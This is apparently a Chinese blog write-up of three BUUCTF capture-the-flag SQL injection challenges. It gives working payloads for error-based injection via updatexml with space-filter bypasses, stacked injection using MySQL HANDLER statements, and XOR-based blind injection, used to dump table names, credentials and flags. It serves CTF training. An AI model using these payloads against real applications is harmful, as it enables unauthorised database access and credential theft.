buuctf-sql部分类型题目

1.报错注入([极客大挑战 2019]HardSQL 1)

先尝试用万能密码发现不行

那就试试1’看看是什么情况

 从他给我的信息’‘1'''可以看出是单引号闭合引用

再次尝试 

发现有东西被过滤了大概就是空格被过滤了那就利用()绕过试试

发现可行的

 

经过各种尝试发现updatexml和extractvalue两个关键词没有被过滤

之后就开始构建数据库查询语句 

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

0x7e是~的16进制写法以此类推

表名

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

用户信息

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

他给了一半的flag那还需要右边一半

再次构建右半

1'or(updatexml(1,concat(0x7e,(select(right(password,21))from(H4rDsq1)),0x7e),1))# 

over 

2.堆叠注入([GYCTF2020]Blacklist)

首先随便输入1看看回显

说明有两个字段大概可能就是id和内容

 

 用一下万能密码

但是看这个没有看出来有flag的存在那就看看全部表

 

看到flag了

1';show columns from FlagHere #
查看flag内的字段信息

 

根据以下的知识

  1. 可以用handler 【表名】 open来打开某个表
  2. 然后就可以在里面用handler 【表名】 read 【获取第几行】来获取该数据库里面的数据了
  3. 最后再利用handler【表名】 close来关闭(具体可以查看这里:【MySQL】MySQL 之 handler 的详细使用及说明_mysql中handler_边扯边淡的博客-CSDN博客

 1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;

构造出payload

over

3.盲注([CISCN2019 华北赛区 Day2 Web1]Hack World) 

根据题目给出的提示、

同样试试万能密码这一些还是没有用

通过bp抓包去找哪些没有被过滤

发现就^没有被过滤^符号又涉及到了异或绕过

利用这个构建payload

0^(if((ascii(substr((select(flag)from(flag)),0,1))<60),1,0))


 

 

 利用工具写的二分法脚本

 

得到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值